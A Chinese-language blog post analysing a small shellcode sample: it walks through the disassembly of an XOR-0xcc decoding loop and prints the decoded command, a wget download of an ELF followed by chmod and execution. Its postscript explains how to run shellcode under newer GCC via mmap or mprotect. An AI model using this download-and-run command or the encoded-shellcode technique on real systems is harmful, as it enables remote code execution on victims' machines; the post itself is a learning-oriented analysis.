close

https://godbolt.org/z/M1q3G738M
最近看到devcore裡的大大寫了一個shellcode
好奇來玩一下順便分析. 
用gcc編譯好後,餵給 peda-gdb or objdump -D -M intel
  4005d4:       68 4e 00 00 00             push   0x4e
  4005d9:       5b                                 pop    rbx
  4005da:       66 81 ec 00 01             sub    sp,0x100
  4005df:       4c 8d 05 28 00 00 00    lea    r8,[rip+0x28]        
  4005e6:       54                      push   rsp
  4005e7:       5a                      pop    rdx
  4005e8:       80 fb ff               cmp    bl,0xff
  4005eb:       74 0d                 je     4005fa <shellcode+0x3a>
  4005ed:       41 8a 04 18       mov    al,BYTE PTR [r8+rbx*1]
  4005f1:       34 cc                  xor    al,0xcc
  4005f3:       88 04 1c             mov    BYTE PTR [rsp+rbx*1],al
  4005f6:       fe cb                   dec    bl
  4005f8:       eb ee                  jmp    4005e8 <shellcode+0x28>
  4005fa:       48 31 c0             xor    rax,rax
其中比較關鍵的一段是 0x4005e8 開始的這段迴圈
要跑0x4f(00~4e)次,這段一直在取值(密文)從shellcode後面
這裡開始bb ab a9 b8 ec ....
一開始取的值是[r8+rbx]
R8 : 0x40060e
rbx:0x4e
r8+rbx:0x40065C
這位置的值是7c
其實迴圈前面幾次取得值已經超出shellcode範圍
因為shellcode最後一個addr是
400643: a9 ab e6 aa cc
不知道為什麼一開始要取超出這個範圍
迴圈之後會從shellcode尾巴往回取值,
然後和0xcc做xor運算,看起來是在stack構造字串
wget -q conf.devco.re/2024/egg.elf;chmod +x ./eg*f;./eg*f
不想一直跑迴圈的話,可以直接在 xor rax,rax 的位址處下斷點.

最後再透過execve syscall來執行這行指令.
然後下載的egg.elf看起來就只是印字串而已.

PS1:
有時可用 online decompiler 工具來輔助分析
https://dogbolt.org/

PS2:
在新版本GCC下(v8後),因為保護機制的關係,這段code
編譯好後無法正常執行,可以透過mmap來把code放在
可執行segment.
https://godbolt.org/z/vcTMKndzf
另外還有一種方法用mprotect
來修改shellcode所在的page屬性為可執行
https://godbolt.org/z/6oTT7fqvj

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 fvalinux 的頭像
    fvalinux

    Elegance

    fvalinux 發表在 痞客邦 留言(0) 人氣()